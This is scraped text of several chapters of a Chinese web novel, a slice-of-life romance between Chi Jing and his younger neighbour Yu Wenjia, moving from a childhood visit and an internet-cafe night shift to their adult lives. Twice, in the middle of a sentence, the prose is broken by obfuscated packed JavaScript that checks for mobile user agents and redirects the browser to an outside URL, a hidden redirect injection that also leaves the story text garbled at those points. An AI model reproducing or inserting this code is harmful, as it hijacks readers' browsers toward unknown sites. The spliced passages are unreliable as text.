池镜穿了件洗褪色了的旧羽绒服,手指骨节被风吹得有点红。他接过餐盒,余闻嘉余光扫到了他微微泛红的手指。他觉得池镜的羽绒服太薄了,保暖效果肯定很差。 余闻嘉刚才心情不太美妙,这会儿看到池镜才放晴。他刚讲话还有点瓮声瓮气,池镜以为自己把他惹不高兴了,俯身低声道:“你怎么那么不经逗啊,以后不说了。” “嗯?”余闻嘉一脸茫然地看着他。 “不说你‘小朋友’了,还跟我生气了。” 余闻嘉反应过来,揉了下鼻子说:“没生气,小朋友……就小朋友,随便你。” “没生气就成。”池镜捧着餐盒说,“谢谢你的饺子,回家替我跟你妈妈说声谢谢。” “噢。” “要去我家坐坐吗?” 余闻嘉抬眼看他。 换成别人家,他大概率没那个兴趣。 余闻嘉把羽绒服拉链拉到头,衣领挡住半张脸,点头“嗯”了一声。 余闻嘉头一回来池镜家,第一感觉是挤,第二感觉是暖和。暖呼呼的,脸蛋都热乎了。 屋内空间有点局促,一间面积不大的平房隔了好几间屋,客厅,厨房,卧室,每一间屋都很小,但收拾得很干净整洁,一眼看过去挺舒心的。 厨房传来噼里啪啦的炒菜声,余闻嘉站在小小的客厅无处落脚。池镜把饺子拿进厨房,余闻嘉听到池妈妈透亮的大嗓门:“哪来的饺子啊?” “隔壁余爷爷孙子拿来的。” 池镜从厨房出来的时候手里拿了几张纸巾,他走到余闻嘉跟前,弯下腰帮他擦了擦裤脚上溅到的水。 余闻嘉往后退了一步,说:“你别——我自己擦……” 池镜他妈举着锅铲就从厨房里出来了。 “哎哟,嘉嘉你怎么来啦。” “……阿姨。”余闻嘉喊了一声,“我妈做了饺子,做多了,让我送点过来。” “哎你妈也太客气了。来来来,快坐快坐,我去给你拿点吃的。” “不用了阿姨——” 池妈妈火急火燎的,余闻嘉话还没说话她就转身进了厨房。姥姥还在屋里休息,池镜过去看了一眼,关上门后回到余闻嘉身边,把他拉进了自己房间。 他知道余闻嘉有点认生,认生的小孩一般都不怎么会应付长辈,他妈跟火炉子似的那么热情似火,嘉嘉小同学肯定招架不住。 “妈,你赶紧做饭吧,我招呼他就行了。”池镜朝厨房喊了声。 池明在屋里写作业,听见动静转头一看。余闻嘉跟他大眼瞪小眼。池镜和池明睡的是学校宿舍那种的上下双人床,床旁一张长桌,两张椅子,那是兄弟俩写作业的地方。 几米见方的房间,随意扫一眼就尽收眼底,屋子很干净,双人床上铺的被子坨成一团,下铺则收拾得很整洁。床单跟池镜的羽绒服一样,也是旧旧的,像蒙了一层灰色滤镜。 池明认识余闻嘉,但跟他接触不多,只觉得他性子有点冷,劲劲儿的,那股子不搭理人的劲儿给人感觉难搞。他家跟隔壁余爷爷往来甚多,但从没见余闻嘉上他家来过。池明翘着二郎腿盯着余闻嘉看了又看,问了一句:“你被我哥骗过来的?” “我自己过来的。”余闻嘉低声地、一本正经地回答他的玩笑话。 池妈妈端了盘小点心进来,热情地招呼余闻嘉,池明拿起一块红豆酥塞进嘴里,他妈拍了一下他的手,瞪着他:“马上吃晚饭了,吃什么点心,再说这是给你吃的吗你就吃?” “您还能再偏心点儿。”池明说着又往嘴里塞了两块,腮帮子鼓得像个仓鼠,这么做的后果就是后脑勺挨了他妈一掌。 池母性子爽直,池明随她,脾气急;而池镜则更像爸爸,不疾不徐的,有着不符合这个年纪的沉稳。 弟兄俩长得也不像。 这一家颜值都不低,池妈妈虽然年纪上来了,但看脸依然能看出来年轻时是位漂亮的女性,池明的眉眼跟她很像。 余闻嘉看了一眼池镜,他想池镜应该长得更像他爸爸。 送完点心,池母回厨房继续做饭,让池镜好好带着余闻嘉玩儿。 余闻嘉完全不饿,刚才在池妈妈殷切企盼的眼神下硬着头皮拿了一块红豆酥吃,嚼了半天就吃了一半。他食量小,也不爱吃甜食,刚才在家吃了几个饺子,这会儿肚子里已经塞不进别的了。池明嘴欠,揶揄他:“难怪那么瘦呢,吃东西跟吃鸟食似的。” 余闻嘉看了他一眼,淡淡道:“你又胖到哪里去。” 池明精瘦精瘦的,余闻嘉觉得此人没资格跟他说这种话。 池镜正翻抽屉,闻言笑了一声。 池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027742|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明变着音调“哈”了一声,没承想这家伙平时不声不响的,嘴巴也挺厉害。 池镜把放了点心的盘子推到一边,跟余闻嘉说:“不想吃就别吃了。” 余闻嘉觉得浪费长辈心意的行为不礼貌,小声解释道:“我不是很饿,刚吃了饺子。” 池镜笑了笑:“我知道,所以让你别吃了。” “这个你要吗?”池镜把刚从抽屉里翻出来的一个宇航员模型拿到余闻嘉面前。 余闻嘉眨了眨眼睛,盯着他手里的那个模型。 “之前去电玩城玩游戏兑到的,我觉得还挺可爱的,你要吗?” 之前跟余爷爷下棋的时候,池镜听他提起过余闻嘉家里有个天文望远镜,他猜余闻嘉可能对天文方面的东西感兴趣。虽然这个模型跟那个天文望远镜可能没什么可比性,但在池镜看来做工还是挺精致的,当个摆件放在桌上也挺好看。 池明之前问他要过,他没给,这么漂亮的摆件给他弟这个糙货没多久就得糟蹋了。他也不确定余闻嘉会不会喜欢,但总想着日后找个机会送给他,今天正好。 池明还是今天才知道这个模型是池镜玩游戏兑的,他哥会去电玩城这也太奇怪了,平时鞋穿坏了都舍不得花钱换新的,他敏锐地质问:“哥你不是谈恋爱了吧!” 池镜瞥了他一眼。 “你啥时候去的电玩城?是不是跟女生去的?”池明觉得自己福尔摩斯转世。 池镜笑笑不说话,福尔摩明动了点脑子,但不多。 电玩城是池镜跟他一帮同学一起去的,有男有女。他有个同学生日,周末约了大家一起去商场玩。池镜的确舍不得花钱买币玩游戏,他同学见他光看不玩,就分了点游戏币给他,硬塞的。会玩的人,有币就能玩,很多游戏机都能赚游戏币,池镜就靠那几个币兑到了这个宇航员模型。 池镜迟迟不为自己做辩解,池明怪腔怪调地“啊”了一声,心想果然被我说中了,还趁火打劫,威胁他哥:“你还早恋啊!不想让我告老妈的话,明天放学给我买个鸡蛋灌饼,要加两根肠。” 余闻嘉看着池镜,注意力都从宇航员模型转移到他身上了。在余闻嘉同学的认知里,初三就谈恋爱,确实算早恋,怪不务正业的。 余闻嘉慕强,这也是他格外关注池镜的原因之一。池镜能跟他爷爷下围棋,在学校作为优等生常驻荣誉墙,百名榜上的名字从来没跌出过前三,这些都是他跟池镜接触以来自己关注到的。 所以说,早恋让池镜的形象在他这有点受影响。 也不是说不能谈恋爱。 但怎么就谈恋爱了呢。 怎么能早恋呢。 余闻嘉矛盾地想。 余闻嘉无意识地噘了噘嘴,小声又略带迟疑地问:“你还……早恋啊?” 池镜没想到余闻嘉还能把他弟说的话当真,乐得笑出了声,手指在他脑门上弹了一下:“我早恋怎么了,你也要上我妈那儿告状?” 余闻嘉睁大了眼睛:“你真的——” “我真的什么真的。”池镜又戳了一下他的脑门,“我没早恋。小朋友你这什么表情?” 余闻嘉同学能是什么表情——一副爱豆跌落神坛的表情,一副天要塌了的表情。 他摸摸额头,噘着嘴巴“哦”了一声,心情顿时转晴。 “所以呢,这个模型你要吗?”池镜举着那个宇航员模型问他。 余闻嘉嘴唇动了动,嘴角还挂着一点红豆酥的残渣。他抬手拿走了池镜手里的宇航员模型,垂下眼睛说:“要。” 他用手指摸摸宇航员的宇航帽,大脑暂时没有略过刚才那个话题。他想了想,忍不住给池镜提了建议:“早恋不可取,你最好不要早恋。” 池镜被萌到了,笑着说:“好的。收到。” 爷爷从没给余闻嘉灌输过池镜家里条件不好的印象,经过那次造访,余闻嘉才对此有了具象化的感受。 小小的平房虽然局促拥挤,但像春天的暖阳一样让人感到温暖。 池家热闹,一向不爱热闹的余闻嘉却很喜欢去那里。 7.第 7 章 07 “我说余闻嘉同学——” 余闻嘉刚拿起笔记本电脑,闻声抬了下头,看着池明。 “余同学,余博士。”池明缓缓摇头,“没见过比你更劳模的,就等我这一会儿的工夫,还弄个电脑。” “不是一会儿,等你半小时了。”余闻嘉说。 “那应该不介意再多等十分钟。”池明得寸进尺,“我带我哥到处转转。” 池镜说:“不用,你助理已经带我参观过了。” “那我再带你遛一圈?” “甭遛了,时间也不早了,你们不是要去吃晚饭?” “那走吧。”池明招呼他哥,“你跟我们一块。” “你们俩去吧,我已经约了人了。” “不会是相亲吧。”池明眨眨眼睛,“前些天听我姥说要给你介绍对象。” 余闻嘉把笔电放进了书包,闻言看了池镜一眼。 池镜拿出手机看了眼,头也不抬,问他弟:“你说呢?” “我说可能性很大。”池明说。 池镜低着头回消息,笑了笑没说话。 池明一边脱外套一边走过来:“真是相亲?” 说话间,池镜手机响了,他看了池明一眼,一副想收拾他的表情,走到窗边接通了电话。 “到哪儿了?”对面是他高中同学丁铭,池镜今天不相亲,约的是几个老朋友。丁铭是他多年好友,从小一块长大的铁瓷,现在是一名优秀的人民教师,在省重点高中教物理。 “哪也没到。” “什么乱遭儿的,你也还没出发?”丁铭刚从学校办公室出来,“你今天喝不喝酒?” “看情况。怎么了?” “你要不喝我就不开车了,到时候蹭你车回家。” “我今儿没开车,坐地铁。” “得,那我还是开车吧。”丁铭掉了个头,往学校地库走,“有车不开坐什么地铁啊,倡行环保行动呢。” “开车早高峰堵出二里地去,我不如坐地铁。” “你在哪儿?我来接你吧。” “我弟公司。” 丁铭以为自己听岔了,说话差点咬着舌头:“你弟公司?” “嗯。” “你弟开的公司?池明?” “嗯。” 池明跟朋友合伙开了家公司的事池镜没跟丁铭说过,主要是因为池明创立公司之初他还在国外,跟国内的朋友联系本就不多。 “什么时候的事啊?池小明出息了啊。” “有两年了。” “你怎么也没跟我提过。” “没机会,我那会儿在国外,也不太了解具体情况。” “你这哥当的……行了,待会儿再说,我开车了。你发我个定位,我过来带你。” “嗯。” 池镜挂断电话,池明拎着西服外套眉梢微挑:“敢情不是相亲啊,没劲。” “让你失望了。”池镜看他把外套挂在衣架上,说:“现在夜里凉了,出去的时候外套穿着。” “不爱穿西装,勒得难受。一会儿我换件常服。” 池镜在公司等了丁铭一会儿,期间池明还是亲自带他去公司各部门参观了一下,不见另一位老板,池镜问:“跟你合伙的那个朋友呢?” “他啊,出差了。”池明说,“他你见过,就上次给你打电话的那个人,沈静司。” 池镜点了点头:“原来是他。” 那人看着斯斯文文的,没想到能跟池明处得来。 二十分钟后,丁铭到了,他把车停在了公司楼下的临时停车位上,坐车里远远地跟池明招了下手。池镜上车后,丁铭往池明和余闻嘉离开的方向看了一眼,问池镜:“你弟旁边是哪个?这脸怎么有点眼熟。” “余闻嘉。” “谁?”丁铭一时间没想起来。 “住我家隔壁那个余爷爷的孙子。” 丁铭记起来了:“我说名字听着这么耳熟呢。”余闻嘉跟丁铭记忆中的样子相去甚远,“不是,他怎么长这么高了?我记得以前挺矮啊。” “人家跳级上的学,那时候比我们小好几岁,能高到哪里去。” 丁铭点点头:“小是小,矮也是真矮,我记得那会儿他老跟你后头,跟个小狗儿似的。那时候还没你肩膀高,没想到现在还弯道超车了。” 池镜笑了声:“猫吧,还小狗儿呢。” 池镜心道他就“小狗儿”了一段时期,上高中后就没那黏糊劲儿了,别别扭扭,高高冷冷的。 “还猫呢。”想想余闻嘉那个身高体型,丁铭笑了,“缅因猫啊。” 池镜嗤笑一声,点头道:“很贴切的形容。” “你弟开的什么公司?”丁铭问池镜。 “做游戏的。” “自己开的?还是跟人合伙?” “合伙。” “池小明挺行,真出息了。”丁铭眉眼间都是笑意,“现在比你这个哥哥能赚钱多了吧。” “早晚的事。”池镜脸上带着淡淡的笑意,“打小就是个钻钱眼里的财迷。” “钻钱眼里好啊,有钱了日子不就好起来了。你也甭说他了,你上学那会儿也在钱眼里穿梭呢。”丁铭转头看了池镜一眼,“是吧,打工小王子。” 池镜失笑:“能闭上您那破嘴么。” 池镜以前家里条件挺困难的,那时候他姥姥做手术花了一大笔费用,他家借了亲戚不少钱。他爸过世得早,早年治病基本耗尽了家里积蓄,他年纪又小,没有工作能力,家里就靠他妈一个人养家糊口,日子过得紧巴巴,说得上贫苦。 他上学那会儿为了帮他妈减轻点负担,早点还完亲戚的债,背着他妈打过很多短工,多得他自己都记不清了。 有次还被余闻嘉撞见过,可能是因为那次打工经历中残留着关于余闻嘉的记忆碎片,所以印象格外深刻。 那是池镜大二寒假,他找了个网吧看机的工作,他经常打零工,找兼职的门路很多。池镜当时兼职的网吧就在家附近,是个小网吧,不过也是正规网吧,要查身份证,未成年不让进。 有一次余闻嘉这个未成年就进来了。 余闻嘉那会儿已经高三,虽然不是高三的年纪,但也正处发育期,已经长高了不少,手长脚长,褪去了初中时期的稚气,已经有了少年人的身形轮廓。 池镜低着头伏案看书,听到脚步声就把书合上,抬起头营业。 “帮我找台靠角落点的机子。”来人说。 “身份证看一下。” 对方拿出身份证给他,池镜检查了一下,在电脑上一顿操作,给他递了张卡,告诉他电脑位置。 对方拿着卡走了。假期网吧人多,这人前脚刚走,后面就又跟上来一人。池镜刚打开的书又合上了,抬起头机械地说:“身份证——” 看到余闻嘉他一愣,以为自己看错了。 余闻嘉也怔了一下,两人对视了三秒。 “镜哥。”少年的嗓音带着变声期的粗哑,已经不是几年前那个清清亮亮的小奶音。 池镜没承想余闻嘉会来这种地方,虽然余闻嘉还有半年就高中毕业了,但在池镜眼里他就是个小孩,小孩怎么能来这种烟味弥漫臭气熏天的地方,更何况是余闻嘉这种乖小孩。 池镜压低了声音:“你上这来干嘛?” 余闻嘉抿了下嘴唇,移开视线不看池镜:“……玩。” 池镜不知道余闻嘉能上这儿来玩什么,上网吧就不像他的风格。 “你玩什么?”池镜纳闷,“打游戏?” 余闻嘉摸了下鼻子,“嗯”了一声。 池镜觉得这人像被夺舍了,突然起身摸了一下他的额头,随后又坐了回去。 眉眼间温热的触感转瞬即逝,余闻嘉抿嘴看着池镜:“你干什么。” “检查一下是不是坏掉了。”池镜还开他玩笑,“谁上你身了?” “没坏。”余闻嘉说。 池镜想敲他脑袋,低声说:“成年了吗你,就来网吧。” “我陪人过来的。” 池镜皱了皱眉:“谁?” 跟余闻嘉一起过来的人刚接完家长电话从外面进来,戴一副眼镜,看模样是个学生。 “你好,我要个单间的机子。”对方把自己身份证递给他,语气很礼貌。 池镜看了眼身份证上的出生日期,十八岁,刚成年。 “未成年不能进。”池镜看着余闻嘉说。 “我成年了啊。”戴眼镜的男生指指身份证,“你是不是看岔了,我已经十八了。” 池镜仍旧看着余闻嘉,说:“我说的是他。” 眼镜男生转头看了看余闻嘉,用口型说:“他怎么知道你没成年?” 余闻嘉没说话,眼镜男生问池镜:“我们开一台机不行么?” 池镜说“不行”。 正说着,网吧老板从外面走了进来:“小池你搁那儿干嘛呢?” “不好意思刘哥,碰到一认识的弟弟,他——” “你别耽误我做生意啊,让你来看机的,不是跟人说闲话的。” 池镜放弃解释,看向余闻嘉,言简意赅道:“他没成年。” 眼镜男生抢话:“我成年了,我就开一台机,包夜。他就……看看,旁观,一会儿就走。” 这算是个大客户,不能流失,老板看看余闻嘉,问眼镜男:“确定一会儿就走?” 对方扶了下眼镜,点点头:“确定。” “行吧。”老板点头,冲池镜道:“给他开卡,一会儿你盯着点,别让待太久。” “我要单间。”眼镜男生说。 池镜私心不想让余闻嘉进这地方,但又没法忤逆老板的意思,这工作是丁铭他哥帮忙介绍的,他不想给人添麻烦,只能听老板的话给他们开了卡。 那个戴眼镜的男生是余闻嘉同学,叫姜小锋,他拿上卡,被池镜领着去了单间。老板在外面,池镜把他们领进去后就回了工作岗位。 池镜放在桌上的书,老板撩开书页看了看,笑着说:“又搁我这儿用功呢。” 池镜把书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池镜脸上露出笑意:“我不是生你气,我生我自己的气。我刚才要是强硬点,跟老板说清楚就好了。怕给人招麻烦,怂了。”他单手撑着电脑桌,脸侧着,问余闻嘉:“带你来的那个人是谁?” “我同学。” 姜小锋是余闻嘉班里的数学课代表,对推理解谜什么的很是痴迷。这游戏也是姜小锋推荐给他的,姜小锋不敢在家里大玩特玩电脑,就约了他上网吧。 余闻嘉这阵子住爷爷家,家里那台老年机根本拖不动这个游戏,他就跟姜小锋来这儿了,反正假期闲着没事,他也想试试那个游戏是不是真那么有意思。 池镜眯了眯眼睛:“带坏小孩。” “我在这儿看机的事,帮我保密。”池镜对余闻嘉说,“不能让我妈知道。” 余闻嘉皱了皱眉:“你是不是要在这儿待一整夜?” “嗯。” “非要在这儿打工么。”余闻嘉眉头拧着。 池镜看了他一眼,笑了笑:“我好不容易找着个晚上能打的工。” 寒假就这么二十来天,开学了就没那么多空闲时间了,长假的一分一秒他都不想浪费。 “晚上不睡觉你身体能吃得消?” “早上回去补个觉就行了。” 余闻嘉转头去看屏幕,不说话了,眉心还蹙着。 “我再提醒你一句,以后不许来网吧,成年了我不管你,现在不行。” “成年了也随便你管。”余闻嘉的声音闷在口罩底下,听不真切。 池镜没听清,头往前凑了凑:“嗯?” “没什么。”余闻嘉扯了扯口罩。 余闻嘉很乖,说十分钟离场就十分钟。池镜回前台没多久,他就从单间出来了。池镜还有点心理负担,怕他没玩尽兴,跟他说:“你要想玩过两天我带你去我同学家,他家电脑配置挺高的,家就在这附近。” 余闻嘉摇头拒绝,问他:“你早上几点下班?” “五点半。” 余闻嘉“嗯”了声,说:“我走了镜哥。” 池镜在网吧待了一夜,前半夜人多,后半夜人就少了,他趴桌上眯了一会儿,做了一些乱七八糟的梦。 冬日昼短,下班的时候天刚蒙蒙亮,池镜穿上外套背着书包走出了网吧,不由得打了个哈欠,眯着眼睛看向天边的日出。 被烟味熏了一晚上,他闭上眼睛呼吸新鲜空气。 “镜哥。” 旁边传来余闻嘉的声音,池镜一怔,倏地睁开眼,转头一看。 余闻嘉手里拿着豆浆和包子,往他手里一塞:“早饭。我去跑步了。”说罢转身就走,他穿了一身密不透风的运动装,看起来确实是要去晨跑的样子。 池镜回过神来时,余闻嘉已经跑出去很远了。 昨天没下雪,地上积雪已经消散。晨风拂面,天朗气清。 少年的背影有点清冷,又透出蓬勃的朝气。 8.第 8 章 08 池镜刚回国那一阵,工作交接上有很多事要忙,他也用这理由推了一些相亲。 相亲这事躲得了初一躲不了十五,最近相对来说没那么忙了,他妈就又给他上强度了。他妈背后是姥姥,相亲主要是姥姥安排推进,眼见孙子快奔三了还没成家,老太太着急。 于是短短一个月池镜就相了三次亲,每个都只见了一面就没了下文。他否得快,他妈安排得也快,频率就这么提上去了。 那天池镜问他妈能不能让他喘口气,他妈回说:“就你这拒绝人的速度,留给你喘气的时间还不够啊?” 池镜当时都气笑了,想强硬点拒绝,看到他姥姥那殷切的眼神又于心不忍。他能拒绝,他姥姥就能软磨硬泡,招架不住。 今天又有个相亲,池镜跟女方见了一面,一起吃了顿饭。对方在细胞研究院工作,比他小几岁,性格有点安静,饭桌上不怎么说话。因为聊得不多,他们结束得也早。 池镜其实挺健谈的,毕竟跟形形色色的人打交道是他的工作日常,要找话题跟对方聊起来对他来说不是难事,不过今天就是来走个过场,自然是控场少言,早点结束最好。 临别前池镜问对方是怎么过来的,需不需要他开车送她回家,对方说自己是开车来的。两人没有互留联系方式,池镜以为这一茬就这么翻过去了,谁知道分别时对方忽然红着耳朵问他要不要去看电影,问完就低头看手机,没一会儿整张脸都红了。 对方划着手机看了又看,头一直没抬起来,池镜不知道她是在找电影,还是不好意思看他。 池镜的手机响起来,他看了眼手机说:“不好意思,我接个电话。” 是池明的电话,打的很是时候。他问池镜在哪儿,现在有没有空。 “干什么?” “我刚下飞机,在机场,你有空就来接我呗,没空我就打车回去了。” “知道了,一会儿过来。” 池镜挂断电话,以正当理由回绝了对方:“不好意思,我现在要去机场接我弟弟,可能看不了电影。” “没事没事。”对方连忙挥手,神情流露出一丝窘迫,“我就随口一问,你有事的话就先走吧,我也要回家了。” “嗯,路上小心。” “嗯嗯,你也是。” 到这份上,她也已经看出来池镜对自己没什么意思,所以最终也没要联系方式。 池镜去机场接到了池明,池明让池镜直接带他去余闻嘉学校,说自己约了余闻嘉吃夜宵。他让池镜一起去,池镜拒绝了,刚吃完晚饭没多久,哪还吃得进夜宵。 “你助理呢?一个人出差的?”池镜问。 “嗯,这次没带人。”池明低着头看手机,“我说我的哥,我的大哥,你平时能不能看看微信,给你发消息从来不回,不打电话都找不到你人。” “那你直接打电话不就行了。” “芝麻大点儿小事我也给你打电话啊,你是不是不看微信啊平时?” “嗯,不怎么看。” 准确来说是不怎么用,之前在国外很少用到国内的聊天软件,现在也不习惯用。 “回头换个老年机吧,更适合你,用智能机浪费了。” 池镜扭头瞥了他一眼。 快到学校的时候,池镜问池明:“他宿舍在哪?离校门口近吗?” “他还在实验室,离校门挺远的,你车直接开进去吧。”池明打开微信搜了一下余闻嘉的学校公众号,“我公众号上预约一下。” 池明指路,池镜直接把车开去了医学院实验室,他问池明:“你经常来?” “也不是经常,来过几次,有时候来学校接他什么的,认得路。” 池镜把车停在实验室门口,没过多久余闻嘉就出来了,开门坐进了后座。 “镜哥。” 池镜应了声,看了眼后视镜:“这么晚还要做实验?今天还是周六。” “导师新开的一个项目,平时要去医院,就周末有空做。” “你不是临床么?科研也搞?” “嗯。”余闻嘉点头。 池镜记得余闻嘉是专博,临床应该是他学业任务的主要方向,没想到科研强度也不小。 “他临床科研两头顾。”池明说,“赛半仙了。” 当初余闻嘉本打算申请学博,往科研方向走,他导师不建议,更希望他专注临床。不是说搞科研不好,只是一个医生的培养周期太长了,更别说是心外科的医生。三年的时间,余闻嘉不知道能成长成什么样,像他这样有天赋有能力的人,留在临床的意义更大。 池镜把他们送去了吃夜宵的地方,就在学校后面的一条小吃街上。池明是从南方出差回来的,那边气温高,他回来的时候身上穿的还是短袖,现在夜里转凉,下车前池镜把自己外套脱下来丢给了他。 “穿着,别感冒了。” 池明套上池镜的外套,突然跟小狗儿似的抬起胳膊嗅了嗅。池镜身上的味道池明太熟悉了,他哥又不喷香水,但今天衣服上却有股陌生的香味。他转过头来看向池镜:“你今天喷香水了啊哥。” 池镜有点莫名其妙:“没有。干什么?” “你衣服上有股香味儿,香水味儿。”池明眯了眯眼睛,“刚跟谁在一块呢?” 池镜也没藏着掖着:“相亲对象。” “你刚相完亲啊,难怪了。”池明从后座凑过来,扒着椅背歪着脑袋,问池镜:“看起来有戏?” 都沾上人家的香水味了,看来是有点进度。 “有戏没戏跟你都没关系。”池镜朝他抬抬下巴,“下车。” 池明先下了车,回头发现余闻嘉还在车里。 “镜哥。” “嗯?”池镜抬眼看向后视镜里的余闻嘉。 “你谈恋爱了。”余闻嘉坐在后座,脸上没什么表情。 池镜一愣,随后笑了:“没,你听池明瞎扯。” 刚才吃完饭从餐厅出来的时候,他那相亲对象在台阶上不小心绊了一下,他伸手扶了对方一把,衣服上有香味,八成就是那个时候沾到的。 余闻嘉“嗯”了一声,没再多问,开门下车,跟池镜说:“路上慢点。” “你俩一会儿怎么回去?”池镜问他。 “打车。” “行,那我先走了。” 池镜开车离开,坐车里笑着摇摇头,总觉得他弟还没有余闻嘉成熟稳重,没个大人样儿。 近来,余闻嘉直观感受到了池镜相亲的频繁。那次吃宵夜,就听池明说他哥最近应该挺闹心的,因为家里两位长辈对他找对象的事特别上心。后来有一天,余闻嘉去探望他爷爷,晚饭后池镜姥姥来串门,跟他爷爷唠嗑,唠着唠着又唠起池镜的“终身大事”。 一方面是池姥姥自个儿着急,另一方面是上门来给池镜介绍对象的人也确实多。人家诚心诚意地介绍,总不能拒人千里之外。 余闻嘉没头没尾地听了点他们的对话,听到池姥姥说下周六是个好日子,可以安排在这一天。 池母说:“那天不行,我问过了,下周六小镜有事,要去学校参加个什么交流会。” 余闻嘉打算走了,过来跟他爷爷说了一声,池母看见余闻嘉就说:“哎对!就在嘉嘉学校,一个什么什么外国人交流会的。” 池母临了也没说清到底是什么交流会,余闻嘉回去后打开学校公众号搜索了一下关键字,找到了对应日期的一场交流会——“青年留学生对话中国外交官”交流活动。 交流会的参会人员没有限制,只要在公众号上预约就能去。余闻嘉预约了一下,周六下午没再泡在实验室,去了交流会现场。 举办活动的地方是个阶梯会议厅,下面是阶梯座位,上面是小型舞台,舞台上摆了五六张椅子,椅子旁边是演讲台。余闻嘉到的时候大厅里基本已经坐满了,参会人员大部分都是外国留学生,说话都压低了声音,现场很安静。他坐在最后一排,大概十分钟后,一位穿着正装的外国女性走上台开始发言。她是主持人,在说开场白,看气质应该是个学生。 说完开场白,主持人开始介绍今天到场的嘉宾,她每介绍一位,就有人从幕后走出来。今天的交流会主办方是外事部领事司,这些嘉宾都是外交官。 池镜第四个出场,穿一身黑色西装,脸上挂着淡淡的笑意,不紧不慢地走到自己的位置。余闻嘉旁边坐的是个中国女生,他听到对方很小声地“哇”了一声,侧过头去跟 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交流会时长两个小时,不知不觉已经接近尾声,主持人作结束讲话,向受邀到场的外交官们致谢,台下响起热烈的掌声。嘉宾们集体合影,随后退场,等人全部走后,台下的学生才陆陆续续地起身离场。 交流会结束后,这次活动的主要负责人在后台跟参会嘉宾交谈了片刻,向他们表达谢意。 会议厅外面有盖章留念的地方,参会学生们围在那儿盖章,熙熙攘攘的还没散场。 “我们要不也去盖个章?”同行之人中有人笑着说了一句。 “这热闹你也凑,你看看都挤成什么样了。” 众人笑起来:“走吧走吧,这热闹不好凑。” 池镜一会儿还有其他事,没跟同行的那帮人一起走,他记得今天除了这场交流会就没别的事了,跟助手确认了一下:“今天还有其他行程吗?” “没有了,池处。” 池镜点了点头:“那今天就到这儿吧,下班吧。” 池镜调回国快两个月,这个助手也刚到他手下任职没多久。池镜性子随和,严格来说,有时候还有点不着调,不过他工作期间一般比较严肃,可能是接触的时间太短,助手似乎是有点怵他,即使他从不摆上级架子,对方跟他讲话还是毕恭毕敬的。 池镜低头看了看身上的西装,在学校穿这一身太扎眼了,他脱下外套,把领带也解了下来,全都递给助手:“衣服你帮我带回去,放办公室就行。” 助手疑惑地接过:“您……不一起走吗?” “我有事。” “好的。”助手点了点头,又说:“最近降温了,马上太阳落山了,夜里温度低,您光穿个衬衫当心着凉。” “没事,不至于。” “您的包呢?”助手拎了拎手里的公文包,“也给您带回去?” “嗯。”池镜点头,“麻烦。” “那我先走了,池处,您有事打我电话。” “好。” 会议厅这边有点吵,池镜拿着手机往楼道走。他给余闻嘉打了通电话,他留下来没别的事,就是想去看下余闻嘉。难得因公来一趟他学校,来都来了。 电话几乎是立刻接通,余闻嘉的声音隔着手机传来:“镜哥。” 他的声线比少年时期沉了很多,电话里听起来更甚。 “在学校吗?”池镜一边下楼一边问。 “在。” “我也在你学校。” “我知道。” 池镜一愣,停在楼道拐角处:“你怎么知道?” “你来这边参加交流会。”余闻嘉说,“之前听秦姨说的。” “是吗,那我现在这边结束了,你等会儿要不要跟我一去吃晚饭?” “嗯,要的。” “那我过来找你,你在哪儿?实验室?” “你转头。” 池镜脚步一顿,愣在原地两秒,随后转过了头。他抬头往楼上看了一眼,余闻嘉站在上一层的楼梯口,视线自上而下地看着他。 池镜笑了笑,手机仍举在耳边:“来看我了?” “嗯。” “是不是得给你布置一篇观后感啊。” “多少字?”余闻嘉问他。 池镜低笑一声,看着他说:“下来。” 9.第 9 章 09 余闻嘉挂了电话走下来。 “你刚一直在我后面?”池镜问他。 “嗯。” “就跟着我也不出个声儿。” “人太多,我出声了你也听不到。” “那我要是不打你电话你就不出声了?打算尾随我到哪儿?” “尾随”这个词听得余闻嘉怪别扭的。 “……说得我像嫌疑犯。” 池镜乐了。 室外确实有点冷,这个季节昼夜温差大,太阳一落山气温能降好几度。 “晚饭想吃什么?”池镜问余闻嘉。 余闻嘉转头看了眼,池镜的西装外套不知道上哪儿去了,上身就穿了件衬衫。 “你外套呢?”余闻嘉问他。 “脱了,让人带回去了。穿西装在学校里瞎晃太显眼了。” “你这样会着凉。” 池镜语气漫不经心:“我这么娇弱啊。” 余闻嘉把身上的冲锋衣脱下来递给他。 池镜扭头看了看他。脱了冲锋衣,余闻嘉里面还有一件薄薄的长袖,看着也不抗冷。 “我用不着,你穿着。”池镜说。 余闻嘉看着他,突然说:“手。” “嗯?” “抬一下。” 池镜不明所以,但还是依他言把手抬起来。 余闻嘉用手背在池镜手背上碰了一下,池镜的手很凉,就这么轻轻碰一下都能感觉到。 这一碰像被落叶轻轻扫了一下,池镜都没反应过来。余闻嘉没说什么,抻开衣服往他身上一披。看这架势不穿是不行了,池镜无奈地笑笑,穿上了他的冲锋衣。 余闻嘉的衣服比池镜的要大一号,穿上去挺宽松的。衣服上有股淡淡的洗衣液清香,还残留着余闻嘉的体温。 余闻嘉下午没去实验室,组里学弟遇到问题了找不着人问,打了通电话过来求助他。 对方是齐教授新收的一个硕士,也是组里唯一一个学硕,叫苏文,研一新生,刚进实验室,对很多流程都不熟悉。他跟余闻嘉同龄,平时喊余闻嘉“师兄”。余闻嘉在组里资历最长,年龄上却不是,他们组里研二研三的都比他大。 “师兄不好意思打扰哈,有个问题想请教你。” “你说。” 